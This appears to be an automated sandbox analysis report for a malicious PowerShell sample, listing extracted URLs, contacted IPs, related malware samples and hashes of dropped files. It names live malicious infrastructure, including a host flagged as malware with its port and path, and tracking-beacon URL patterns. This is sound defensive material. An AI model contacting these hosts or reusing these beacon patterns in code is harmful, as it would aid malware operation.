https://histats.com	powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2050779309.0000000009E21000.00000020.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html(-c	powershell.exe, 00000000.00000002.1271308420.0000016B64387000.00000004.00000800.00020000.00000000.sdmp	false		high
https://dynamic.t	svchost.exe, 0000000C.00000002.1370146191.0000024368681000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.1367935633.0000024368665000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.1369864769.0000024368648000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.1369864769.0000024368644000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.1367080264.000002436865F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/Prod-C:	edb.log.3.dr	false		high
https://dev.virtualearth.net/REST/v1/Routes/Transit	svchost.exe, 0000000C.00000003.1367216741.0000024368658000.00000004.00000020.00020000.00000000.sdmp	false		high
https://histats.com/OTEwNjQ2X0IyMDcxOUQyRTk0NTk4ODU=_execution_not_detectedc	powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=	svchost.exe, 0000000C.00000003.1366866242.0000024368662000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtu	svchost.exe, 0000000C.00000003.1367692369.0000024368633000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.1369657954.0000024368636000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/	svchost.exe, 0000000C.00000002.1370146191.0000024368681000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=	svchost.exe, 0000000C.00000003.1367458872.0000024368641000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.1366866242.0000024368662000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t0.ssl.ak.dynxfchC	svchost.exe, 0000000C.00000003.1367692369.0000024368633000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.1369657954.0000024368636000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester(-c	powershell.exe, 00000000.00000002.1271308420.0000016B64387000.00000004.00000800.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Driving	svchost.exe, 0000000C.00000003.1367216741.0000024368658000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx	svchost.exe, 0000000C.00000003.1367458872.0000024368641000.00000004.00000020.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png(	powershell.exe, 00000004.00000002.1907575581.0000000005136000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp	false		high
https://blockchain.info/rawaddr/%svinprevoutscriptpubkey_addressvoutscriptpubkeyhttps://blockstream.	powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2050779309.0000000009E21000.00000020.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp	false		high
https://host85500.info:15322/gauxwasdds	powershell.exe, 00000000.00000002.1271308420.0000016B64870000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://aka.ms/pscore6	powershell.exe, 00000004.00000002.1907575581.0000000004FE1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://histats.com/b_$EeUjSnjmqSzMhWKdkeXgPMsrwHCf	powershell.exe, 00000000.00000002.1271308420.0000016B64387000.00000004.00000800.00020000.00000000.sdmp	false		high
http://e5.i.lencr.org/0	powershell.exe, 00000000.00000002.1271308420.0000016B6488D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://blockchain.info/rawaddr/%s	powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2050779309.0000000009E21000.00000020.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp	false		high
https://histats.com/b_dGVzdA==_	powershell.exe, 00000000.00000002.1271308420.0000016B64387000.00000004.00000800.00020000.00000000.sdmp	false		high
https://dev.ditu.live.com/mapcontrol/logging.ashx	svchost.exe, 0000000C.00000003.1367216741.0000024368658000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=	svchost.exe, 0000000C.00000002.1369465929.000002436862B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png(-c	powershell.exe, 00000000.00000002.1271308420.0000016B64387000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	powershell.exe, 00000000.00000002.1270292166.0000016B62222000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	powershell.exe, 00000000.00000002.1270292166.0000016B62222000.00000004.00000020.00020000.00000000.sdmp	false		high
https://blockstream.info/api/address/%s/txs	powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2050779309.0000000009E21000.00000020.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.sysinternals.com0	powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2051674504.0000000009E4E000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester(	powershell.exe, 00000004.00000002.1907575581.0000000005136000.00000004.00000800.00020000.00000000.sdmp	false		high
https://histats.com/b_	powershell.exe, 00000000.00000002.1271308420.0000016B64387000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/	svchost.exe, 0000000C.00000003.1366866242.0000024368662000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.1369465929.000002436862B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx	svchost.exe, 0000000C.00000003.1367216741.0000024368658000.00000004.00000020.00020000.00000000.sdmp	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp	false		high
https://t0.s	svchost.exe, 0000000C.00000003.1367692369.0000024368633000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.m.	powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2050779309.0000000009E21000.00000020.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.ditu.live.com/REST/v1/Transit/Stops/	svchost.exe, 0000000C.00000002.1370146191.0000024368681000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Traffic/Incidents/	svchost.exe, 0000000C.00000003.1366866242.0000024368662000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.1369805680.000002436863F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.microC	powershell.exe, 00000004.00000002.2042932378.00000000090B0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=	svchost.exe, 0000000C.00000003.1367422020.000002436864D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?	svchost.exe, 0000000C.00000003.1367458872.0000024368641000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.1366866242.0000024368662000.00000004.00000020.00020000.00000000.sdmp	false		high
https://histats.com/a_	powershell.exe, 00000000.00000002.1271308420.0000016B648E4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1271308420.0000016B6C5B6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/mapcontrol/logging.ashx	svchost.exe, 0000000C.00000003.1367216741.0000024368658000.00000004.00000020.00020000.00000000.sdmp	false		high
https://histats.com/OTEwNjQ2X0IyMDcxOUQyRTk0NTk4ODU=_execution_not_detected	powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=	svchost.exe, 0000000C.00000002.1369864769.0000024368644000.00000004.00000020.00020000.00000000.sdmp	false		high
https://host85500.info:15322/gauxwasdds(-c	powershell.exe, 00000000.00000002.1271308420.0000016B64870000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://http://www.http://m.http://www.m.https://https://www.https://m.https://www.m.www.wp.plimap.wp	powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2050779309.0000000009E21000.00000020.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://t0.ssXhchC	svchost.exe, 0000000C.00000003.1367692369.0000024368633000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.1369657954.0000024368636000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000003.00000003.1202957032.00000212CE6E2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.3.dr, edb.log.3.dr	false		high
https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen	svchost.exe, 0000000C.00000003.1367216741.0000024368658000.00000004.00000020.00020000.00000000.sdmp	false		high
https://tiles.virtualearth.net/tiles/cmd/StreetSideBubbleMetaData?north=	svchost.exe, 0000000C.00000002.1370018467.0000024368659000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.1367216741.0000024368658000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/pscore68	powershell.exe, 00000000.00000002.1271308420.0000016B64161000.00000004.00000800.00020000.00000000.sdmp	false		high
https://histats.com/b_$EeUjSnjmqSzMhWKdkeXgPMsrwHCf_$ljJBxxjrzUnOIGclTEME	powershell.exe, 00000000.00000002.1271308420.0000016B64387000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.4.219.198	s4.histats.com	Canada	16276	OVHFR	false
149.56.240.132	unknown	Canada	16276	OVHFR	false
45.93.9.167	host85500.info	Russian Federation	44676	VMAGE-ASRU	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1607783
Start date and time:	2025-02-05 23:10:34 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	35
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SUS.ps1
Detection:	MAL
Classification:	mal100.troj.expl.evad.winPS1@52/17@3/4
Cookbook Comments:	Found application associated with file extension: .ps1

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.90.27, 20.12.23.50, 4.245.163.56
Excluded domains from analysis (whitelisted): fs.microsoft.com, slscr.update.microsoft.com, e16604.g.akamaiedge.net, prod.fs.microsoft.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.

Simulations

Behavior and APIs

Time	Type	Description
17:11:06	API Interceptor	428x Sleep call for process: powershell.exe modified
17:11:09	API Interceptor	2x Sleep call for process: svchost.exe modified
17:12:16	API Interceptor	1x Sleep call for process: MpCmdRun.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
142.4.219.198	http://www.meherald.com.au/	Get hash	malicious	Unknown	Browse	sstatic1.histats.com/0.gif?4786559&101
149.56.240.132	https://getwellslogsnowonline.vercel.app/	Get hash	malicious	Unknown	Browse
	https://199.188.109.181	Get hash	malicious	Unknown	Browse
	http://home45insurance.blogspot.com	Get hash	malicious	Unknown	Browse
	http://home45insurance.blogspot.com	Get hash	malicious	Unknown	Browse
	http://manatoki463.net	Get hash	malicious	Unknown	Browse
	https://ff-rewards-redeem-codes-org.github.io/Free-Fire-/	Get hash	malicious	HTMLPhisher	Browse
	https://www.google.com/url?rct=j&sa=t&url=https://saznao.pl/call/xbjbzvnqyv&ct=ga&cd=CAEYACoTMjk5MjE2NTQ2NzQ3ODY4ODc0NjIaNzRmM2RkZTE1NWFkOWUzMzpjb206ZW46VVM&usg=AOvVaw0lq_nCkEN7dcYMIXCg18TL	Get hash	malicious	Unknown	Browse
	https://techwormnea.pages.dev/posts/netflix-games-adds-10-new-titles-this-month/	Get hash	malicious	Unknown	Browse
	https://welcomewinner.com/?action=register&sub_id=RADIASI-CUBLUK	Get hash	malicious	Phisher	Browse
	https://shabdndjwinn.blogspot.com/?m=1	Get hash	malicious	HTMLPhisher	Browse
45.93.9.167	analysis.vbs	Get hash	malicious	Unknown	Browse
45.93.9.167	CfF7MWq7aG.html	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
host85500.info	analysis.vbs	Get hash	malicious	Unknown	Browse	45.93.9.167
s4.histats.com	analysis.vbs	Get hash	malicious	Unknown	Browse	149.56.240.127
	CfF7MWq7aG.html	Get hash	malicious	Unknown	Browse	142.4.219.198
	https://getwellslogsnowonline.vercel.app/	Get hash	malicious	Unknown	Browse	149.56.240.132
	https://fooofooofooo.b-cdn.net/	Get hash	malicious	TechSupportScam	Browse	149.56.240.127
	El3cE5jq1L.pdf	Get hash	malicious	Unknown	Browse	149.56.240.129
	http://home45insurance.blogspot.com	Get hash	malicious	Unknown	Browse	54.39.128.162
	http://jinoodle-polopol.b-cdn.net/	Get hash	malicious	TechSupportScam	Browse	149.56.240.27
	https://eightdays-pdfnow.b-cdn.net/	Get hash	malicious	TechSupportScam	Browse	149.56.240.130
	http://nomads-primes-pdfs.b-cdn.net/	Get hash	malicious	TechSupportScam	Browse	149.56.240.27
	https://suman006723213.github.io/garena.reward.ff/	Get hash	malicious	HTMLPhisher	Browse	149.56.240.27

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
OVHFR	Fantazy.mips.elf	Get hash	malicious	Unknown	Browse	8.24.10.83
	Quotation Forms.exe	Get hash	malicious	CryptOne, MassLogger RAT	Browse	51.81.194.202
	analysis.vbs	Get hash	malicious	Unknown	Browse	149.56.240.127
	vessels details.exe	Get hash	malicious	CryptOne, MassLogger RAT	Browse	51.81.194.202
	https://www.mccallionstaffing.com/search-jobs/	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	54.38.113.6
	CfF7MWq7aG.html	Get hash	malicious	Unknown	Browse	142.4.219.198
	https://westallisheating.com/	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	51.81.55.251
	Bank Slip pdf.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	54.39.129.84
	https://eventmidasbuyz.merchats.com/	Get hash	malicious	HTMLPhisher	Browse	46.105.222.82
	res.arm5.elf	Get hash	malicious	Unknown	Browse	149.60.1.98
VMAGE-ASRU	SecuriteInfo.com.Trojan.PWS.Lumma.1819.15966.11991.exe	Get hash	malicious	PureLog Stealer, SmokeLoader	Browse	2.59.163.71
	analysis.vbs	Get hash	malicious	Unknown	Browse	45.93.9.167
	05epqpFYdF.exe	Get hash	malicious	PureLog Stealer, SmokeLoader	Browse	2.59.163.71
	_30343667.js	Get hash	malicious	PureLog Stealer, SmokeLoader	Browse	2.59.163.71
	CfF7MWq7aG.html	Get hash	malicious	Unknown	Browse	45.93.9.167
	svc2.exe	Get hash	malicious	SmokeLoader	Browse	2.59.163.71
	file.hta	Get hash	malicious	SmokeLoader	Browse	2.59.163.172
	#U0414#U043e#U0433#U043e#U0432i#U0440_#U043f#U043e#U0441#U0442#U0430#U0432#U043a#U0438.js	Get hash	malicious	SmokeLoader	Browse	2.59.163.172
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	45.130.170.23
	JzDYvnUh8s.exe	Get hash	malicious	RedLine	Browse	5.182.36.101
OVHFR	Fantazy.mips.elf	Get hash	malicious	Unknown	Browse	8.24.10.83
	Quotation Forms.exe	Get hash	malicious	CryptOne, MassLogger RAT	Browse	51.81.194.202
	analysis.vbs	Get hash	malicious	Unknown	Browse	149.56.240.127
	vessels details.exe	Get hash	malicious	CryptOne, MassLogger RAT	Browse	51.81.194.202
	https://www.mccallionstaffing.com/search-jobs/	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	54.38.113.6
	CfF7MWq7aG.html	Get hash	malicious	Unknown	Browse	142.4.219.198
	https://westallisheating.com/	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	51.81.55.251
	Bank Slip pdf.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	54.39.129.84
	https://eventmidasbuyz.merchats.com/	Get hash	malicious	HTMLPhisher	Browse	46.105.222.82
	res.arm5.elf	Get hash	malicious	Unknown	Browse	149.60.1.98

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	http://dro.pm/ax	Get hash	malicious	Quasar	Browse	142.4.219.198
	https://drive.google.com/uc?export=download&id=1A-NQjyTwhCybq54Zzou2DglS3rwQMlrR	Get hash	malicious	HTMLPhisher	Browse	142.4.219.198
	Quotation Forms.exe	Get hash	malicious	CryptOne, MassLogger RAT	Browse	142.4.219.198
	https://aplusbuy.net.au/%72%65%64.%68%74%6D%6C	Get hash	malicious	HTMLPhisher	Browse	142.4.219.198
	Scan-Pending Purchase Order Request..pdf.vbs	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	142.4.219.198
	Rooming list.js	Get hash	malicious	Remcos	Browse	142.4.219.198
	bobby.vbs	Get hash	malicious	Unknown	Browse	142.4.219.198
	kings to.vbs	Get hash	malicious	Unknown	Browse	142.4.219.198
	kelex.js	Get hash	malicious	Unknown	Browse	142.4.219.198
	rekqE1DVUB.exe	Get hash	malicious	Unknown	Browse	142.4.219.198
37f463bf4616ecd445d4a1937da06e19	Fbae8Uh70Z.docx	Get hash	malicious	Unknown	Browse	149.56.240.132 142.4.219.198
	Quotation Forms.exe	Get hash	malicious	CryptOne, MassLogger RAT	Browse	149.56.240.132 142.4.219.198
	EfHy6j7Cb7.exe	Get hash	malicious	Vidar	Browse	149.56.240.132 142.4.219.198
	EfHy6j7Cb7.exe	Get hash	malicious	Vidar	Browse	149.56.240.132 142.4.219.198
	e-dekont.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.56.240.132 142.4.219.198
	New Order_pdf_0016534325.exe	Get hash	malicious	GuLoader	Browse	149.56.240.132 142.4.219.198
	1.exe	Get hash	malicious	Discord Token Stealer, GuLoader	Browse	149.56.240.132 142.4.219.198
	analysis.vbs	Get hash	malicious	Unknown	Browse	149.56.240.132 142.4.219.198
	vessels details.exe	Get hash	malicious	CryptOne, MassLogger RAT	Browse	149.56.240.132 142.4.219.198
	https://gruposiblings.com/facturacion.php	Get hash	malicious	Unknown	Browse	149.56.240.132 142.4.219.198

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7946033472883433
Encrypted:	false
SSDEEP:	3072:yJjAgNE4Pj5vHcjTcyBP9UjaaQ/ka4qWi:QAgN8nj/ka4
MD5:	5479259D03EF7E493D7C4F89596F5D82
SHA1:	520E58A02E92CD187D597446E60CCD6E07FD1335
SHA-256:	5AF3CC7DE72BE85141A302E56B2EBECCC0322A3C813AF7EFCB6BB3748429045B
SHA-512:	C61F004E1CFB9A4A02F295EACF0D2193CDD5796815D137BD849786C876C2B37B4AD98E323DCF9B039C6ADAB1FF159E27B6ACB502510CCD1F4B0039951FAE792B
Malicious:	false
Preview:	..6.........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................d6d6.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x732725a2, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7864478583419737
Encrypted:	false
SSDEEP:	1536:DSB2ESB2SSjlK/6vDfi5Wy10MctJ+t9ka4XQ0/Ykr3g16L2UPkLk+kyt4eCu3uZB:Dazaovh7uka4Es2U1RFNp3pvHzrHBHz
MD5:	9B813E2112087744DB0F09ADC6C2F8C6
SHA1:	E982CBC93999A5B616E3C377FD6184FE0BE14873
SHA-256:	B425C377F2F03C1B9AC38F05C0A667D4370B7BEAF588D708A42A86D955B13412
SHA-512:	5B62D7BAF070F6B9220211F17EDDF5FE57C4BF63D2244EF254F8BA75B057873452EC47084138779B40DADA33691C5F8F30EB9069679E4D918EB0B868FA7BA2BA
Malicious:	false
Preview:	s'%.... ...............X\...;...{......................0.z...... ...{.......}..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{..................................V.L.....}.9.................).......}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08186643454038528
Encrypted:	false
SSDEEP:	3:C/llKYeb8iztpMsjv/Ss/IGYZX/a0uGt/tallSdLvl+/rS56/:CXKzbr+sYiK/IQN0e
MD5:	89BA1D952EF8B8D312DF9FECF50292D0
SHA1:	DE02D6876E00F627C6731BF998EFBDF72D8E3D40
SHA-256:	29FFC675ED3381F486A20426D25F77F4D0A79B86381085E5F1D04C05C52210CC
SHA-512:	F52ECBDF983A02F4389BD81F4F080D99B6257893C9FEB1D44B00A586FAD8AB56B98A05805DBA41D7CA736F3B9DDF64173C7781EF8A9E69BDD59C69D35269AD2A
Malicious:	false
Preview:	a........................................;...{.......}... ...{........... ...{... ...{..#.#.. ...{.\|.................).......}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	11608
Entropy (8bit):	4.8908305915084105
Encrypted:	false
SSDEEP:	192:6xoe5qpOZxoe54ib4ZVsm5emd5VFn3eGOVpN6K3bkkjo5xgkjDt4iWN3yBGHVQ9R:9rib4Z1VoGIpN6KQkj2qkjh4iUxsT6YP
MD5:	DD89E182EEC1B964E2EEFE5F8889DCD7
SHA1:	326A3754A1334C32056811411E0C5C96F8BFBBEE
SHA-256:	383ABA2B62EA69A1AA28F0522BCFB0A19F82B15FCC047105B952950FF8B52C63
SHA-512:	B9AFE64D8558860B0CB8BC0FA676008E74F983C4845895E5444DD776A42B584ECE0BB1612D8F97EE631B064F08CF5B2C7622D58A3EF8EF89D199F2ACAEFA8B52
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	19952
Entropy (8bit):	5.440796194723222
Encrypted:	false
SSDEEP:	384:n5C4dRGlF12Z0Ko5sBHs3Xf6TReqaUDpkpR3yTAfzu1f8+bl4YCIOS:0EwAWNsy3XfYaNH+66N89YCIOS
MD5:	2568E865B6833E5AF94C8C664A713204
SHA1:	7D1B1324C35CC59BFFEC12006262C0A84DCB00CA
SHA-256:	8CF27A401D74CCFD09B0A6403572A17C74050D1D7E931EF6E1929EC93B08DFB8
SHA-512:	B65E15ADA03CF669228879871EBADB525DCDBEA1D24E5085F59E31F35EAFC98CEAA27D9489B339787B622876D23235315BB5BE6B316346AD68DCB147C44C333E
Malicious:	false
Preview:	@...e...........,...............................................H...............o..b~.D.poM...2..... .Microsoft.PowerShell.ConsoleHostD...............4..7..D.#V.............System.Management.Automation4...............<."..Ke@...j..........System.Core.0.................Vn.F..kLsw..........System..4.................%...K... ...........System.Xml..L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.@................z.U..G...5.f.1........System.DirectoryServices<................t.,.lG....M...........System.Management...4..................~..2K..}...0".......System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Commands.Utility...D....................+.H..!...e........System.Configuration.Ins

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	19632
Entropy (8bit):	5.589875936834296
Encrypted:	false
